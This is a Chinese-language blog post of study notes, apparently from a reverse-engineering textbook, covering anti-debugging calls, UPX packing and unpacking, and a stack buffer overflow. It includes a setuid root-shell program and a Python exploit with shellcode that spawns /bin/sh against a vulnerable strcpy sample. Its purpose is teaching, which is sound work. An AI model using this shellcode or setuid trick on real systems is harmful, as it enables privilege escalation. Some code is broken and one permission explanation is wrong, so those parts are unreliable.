如何防止软件被别人分析

如何防止软件被别人分析

反调试技术

最初级的一种反调试技术是IsDebuggerPresent

该函数可以检测是否挂载了调试器的API函数,通过返回值是否为0来判断调试器的挂载状态。

#include 
#include 

int main()
{
    if(IsDebuggerPresent()){
        //在调试器上运行
        printf("Debugging\n");
    }else{
        //不在调试器上运行
        printf("Not Debugging\n");
    }
    getchar();
    return 0;
}

还有一些类似的API函数,比如checkRemoteDebuggerPresent

除了API函数,还有很多类型的技术用于检测调试器。

利用popf、SIGNLE_STEP异常、int 2dh来检测调试器。当返回值为0代表正常,为1表示挂载了调试器。

通过代码混淆来防止分析

上面的反调试器技术如果遇到了反汇编器,使用静态分析,就容易检测到调试器的逻辑,然后就可以轻易破解。
自行在csdn上搜索学习…

将可执行文件进行压缩

将可执行文件进行压缩,压缩得到的文件依然可以直接运行。这类压缩工具称为打包器packer
最有名的一款打包器叫UPX,开源,支持EFL,DLL,COFF等多种可执行文件格式
打包器的原理就是:将原本可执行文件中的代码和数据进行压缩,然后将解压缩用的代码附加在前面。运行的时候,先将原本的可执行数据解压缩出来,然后再运行解压缩后的数据。

找到binarybook-master\chap02\packed\Release\packed.exe
复制一份去upx.exe同目录下

upx.exe packed.exe

如何防止软件被别人分析_第1张图片

packed.exe会被打包后的文件覆盖,现在使用Ida打开packed.exe

如何防止软件被别人分析_第2张图片
程序的结构变得相当复杂,使用二进制编辑器也找不到目标字符串

将打包器压缩的可执行文件解压缩的工具称为解包器unpacker

一般来说,打包器和解包器是相互匹配的。

不过UPX没有专门的解包器,可以通过-d进行解包。

除了UPX,以防止逆向工程为目的的打包器,通常都没有官方解包器。

所以想解包只能靠自己手动完成,或者使用某些第三方制作的解包工具。

手动解包,就是用调试器和反汇编器,跟踪可执行文件解压缩的逻辑,并将位于内存中的解压缩后的可执行数据导出到文件的操作

解包一下

upx.exe -d packed.exe

如何防止软件被别人分析_第3张图片

查看解包后的packed.exe

如何防止软件被别人分析_第4张图片
尽管无法还原到一模一样,但至少我们现在可以使用IDA来分析

通过手动解包UPX来理解其工作原理

我们无法通过自动解包来理解打包器的原理,所以我们尝试一下手动解包用UPX压缩过的程序
要用到OllyDump这个插件
在binarybook-master\chap02\ollydump中也有
把这个OllyDump.dll放到ollydug.exe同目录

如何防止软件被别人分析_第5张图片

利用缓冲区溢出执行任意代码

在软件的安全漏洞中,缓冲区溢出(buffer overflow)是最有名的漏洞之一。

缓冲区溢出:输入的数据超出了程序规定的内存范围,数据溢出导致程序发生异常。

binarybook-master\chap03\FreeBSD_8.3_x86\sample1.c

#include 

int main(int argc, char *argv[])
{
    char buff[64];
    strcpy(buff, argv[1]);
    return 0;
}

这个程序就有缓冲区溢出漏洞
程序为buff数组分配了一块64字节的内存空间,但传递给程序的参数arg[1]是由用户任意输入的,所以参数的长度很有可能超出为其分配的64字节
strcpy函数用于复制字符串,一直复制到字符串的边界,遇到"\0"为止。所以当用户故意向程序传递一个超出64字节的字符串时,就会在main函数中引发缓冲区溢出。
重点在于:当输入的数据超过64字节的时候,程序的行为就会变得不可预测,这就成为了一个漏洞。

让普通用户用管理员权限运行程序

Linux里有一个用来修改密码的命令"passwd"
密码一般保存在/etc/master.passwd/etc/passwd/etc/shadow

没有root权限的用户是无法修改这些文件的。但是如果只有root才能修改密码的话,使用起来就非常不方便。所以我们需要一个机制,它能够让普通用户也能够临时的借用管理员权限,这个机制就是setuid
setuid的功能是让用户使用程序的所有者权限来运行程序

打开kali

ls -l /etc/passwd

如何防止软件被别人分析_第6张图片

/ect/passwd文件不允许除root以外的用户进行写入,但passwd命令可以通过setuid机制临时以root权限来运行

如何防止软件被别人分析_第7张图片
权限部分的s表示该程序已启用setuid

binarybook-master\chap03\FreeBSD_8.3_x86\sample2.c

#include 
#include 

int main(int argc, char *argv[])
{
    char *data[2];
    char *exe = "/bin/sh";

    data[0] = exe;
    data[1] = NULL;

    setuid(0);
    execve(data[0], data, NULL);
    return 0;
}

这个程序会调用execve函数来运行/bin/sh

/bin/sh是Unix类系统的外壳程序,如果用root权限启动它,就相当于可以用root权限对系统进行任何操作

我们使用root权限编译该程序,然后设置setuid

$ sudo su
# gcc -Wall sample2.c -o sample2//使用 GCC 编译器将 sample2.c 的 C 语言源代码文件编译成一个可执行文件,并将其命名为 sample2
# chmod 4755 sample2
# ls -l sample2

su命令是当前用户用来切换到另一个用户的命令,参数为用户名。执行时会要求输入密码,这个密码是你要切换到的用户的密码
sudo su命令和su命令相似,都是用来切换用户的。区别就是两个命令需要输入的密码不一样。
sudo su的含义就是要用root权限运行su命令,既然是用root权限运行su命令,那么就不需要输入切换到的用户的密码了。
注意,当你是root用户时,切换到本机的其他任何用户都是不需要输入密码的。
也就是说sudo su 这个命令,直接输入当前用户的密码即可切换到root用户。并且如果你的sudo设置而不需要输入密码,就直接切换到root用户了。

  1. gcc: 是 GNU Compiler Collection 的缩写,是一个开源的编译器集合,用于编译多种编程语言,包括 C、C++ 等。
  2. -Wall: 是一个编译选项,用于启用 GCC 的所有警告信息。这有助于在编译过程中发现潜在的问题和错误。
  3. sample2.c: 是要编译的 C 语言源代码文件的文件名。这里假设 sample2.c 是你的源代码文件。
  4. -o sample2: 是一个编译选项,指定生成的可执行文件的名称。在这个例子中,可执行文件将被命名为 sample2。

因此,整个命令的目的是将 sample2.c 编译成一个名为 sample2的可执行文件,并在编译过程中启用所有警告。通过运行生成的可执行文件 sample2 来执行程序。

在UNIX/Linux系统中,文件和目录的权限可以用字符表示,常见的字符包括:

r(读取)
w(写入)
x(执行)
-(无权限)

对于权限模式4755,其对应的字符表示如下:

用户权限(User):4 表示读权限,用字母 r 表示
组权限(Group):7 表示读(r) + 写(w) + 执行(x),用字母rwx 表示
其他用户权限(Others):5 表示读(r) + 执行(x),用字母 rx 表示。

因此,权限模式4755的字符表示为 rwsr-xr-x

特别要注意的是,这里的 s 表示"setuid"权限,表明用户执行该文件时,会以文件所有者的权限来执行

如何防止软件被别人分析_第8张图片
可以看到simple2的权限变成了rws,这表示已经启用了setuid

当我们再次以普通用户权限运行这个程序时,就会用root权限来调用execve函数

也就是普通用户可以使用root权限启动/bin/sh

# su 普通用户名//先切换到普通用户
# whoami//查看是否成功切换为普通用户
# ./sample2//运行sample2启动/bin/sh
# whoami//查看用户身份,果然切换为了root

如何防止软件被别人分析_第9张图片
在 Linux 终端中,要从 root 用户切换到普通用户,可以使用 su 命令(switch user)或 sudo 命令(superuser do)

su 普通用户名
sudo -i -u 普通用户名

或者简写为

sudo -s -u 普通用户名

这将启动一个新的 shell 以普通用户身份运行,实现了从 root 用户到普通用户的切换。

请注意,使用 su 需要输入目标用户的密码,而使用 sudo 需要输入当前用户的密码。选择使用哪种方式取决于你的需求和系统的配置。

当然,一般情况下,谁也不会为这样的程序设置setuid。不过像simple1这样的程序,一旦以所有者权限运行,就会出现缓冲区溢出的漏洞,被攻击者读取权限。

权限是如何被夺取的

有漏洞的程序:binarybook-master\chap03\FreeBSD_8.3_x86\sample3.c
对其攻击夺取权限:binarybook-master\chap03\FreeBSD_8.3_x86\exploit.py

sample3.c

#include 
#include 

unsigned long get_sp(void)
{
    __asm__("movl %esp, %eax");
}

int cpy(char *str)
{
    char buff[64];
    printf("0x%08lx", get_sp() + 0x10);
    getchar();
    strcpy(buff, str);
    return 0;
}

int main(int argc, char *argv[])
{
    cpy(argv[1]);
    return 0;
}

exploit.py

#!/usr/local/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
	addr = 0x41414141
else:
	addr = int(sys.argv[1], 16)

s  = ""
s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8
s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16
s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24
s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32
s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64
s += "\x90\x90\x90\x90"+pack(',addr) #72

sys.stdout.write(s)

使用gcc编译sample4.c

$ gcc -S sample4.c

生成sample4.s文件,这就是sample4.s的汇编语言代码

	.file	"sample4.c"
	.text
	.globl	func
	.type	func, @function
func:
.LFB0:
	.cfi_startproc
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	movl	%edi, -20(%rbp)
	movl	%esi, -24(%rbp)
	movl	%edx, -28(%rbp)
	nop
	popq	%rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE0:
	.size	func, .-func
	.globl	main
	.type	main, @function
main:
.LFB1:
	.cfi_startproc
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	movl	$3, %edx
	movl	$2, %esi
	movl	$1, %edi
	call	func
	movl	$0, %eax
	popq	%rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE1:
	.size	main, .-main
	.ident	"GCC: (Debian 13.2.0-5) 13.2.0"
	.section	.note.GNU-stack,"",@progbits

你可能感兴趣的:(学习)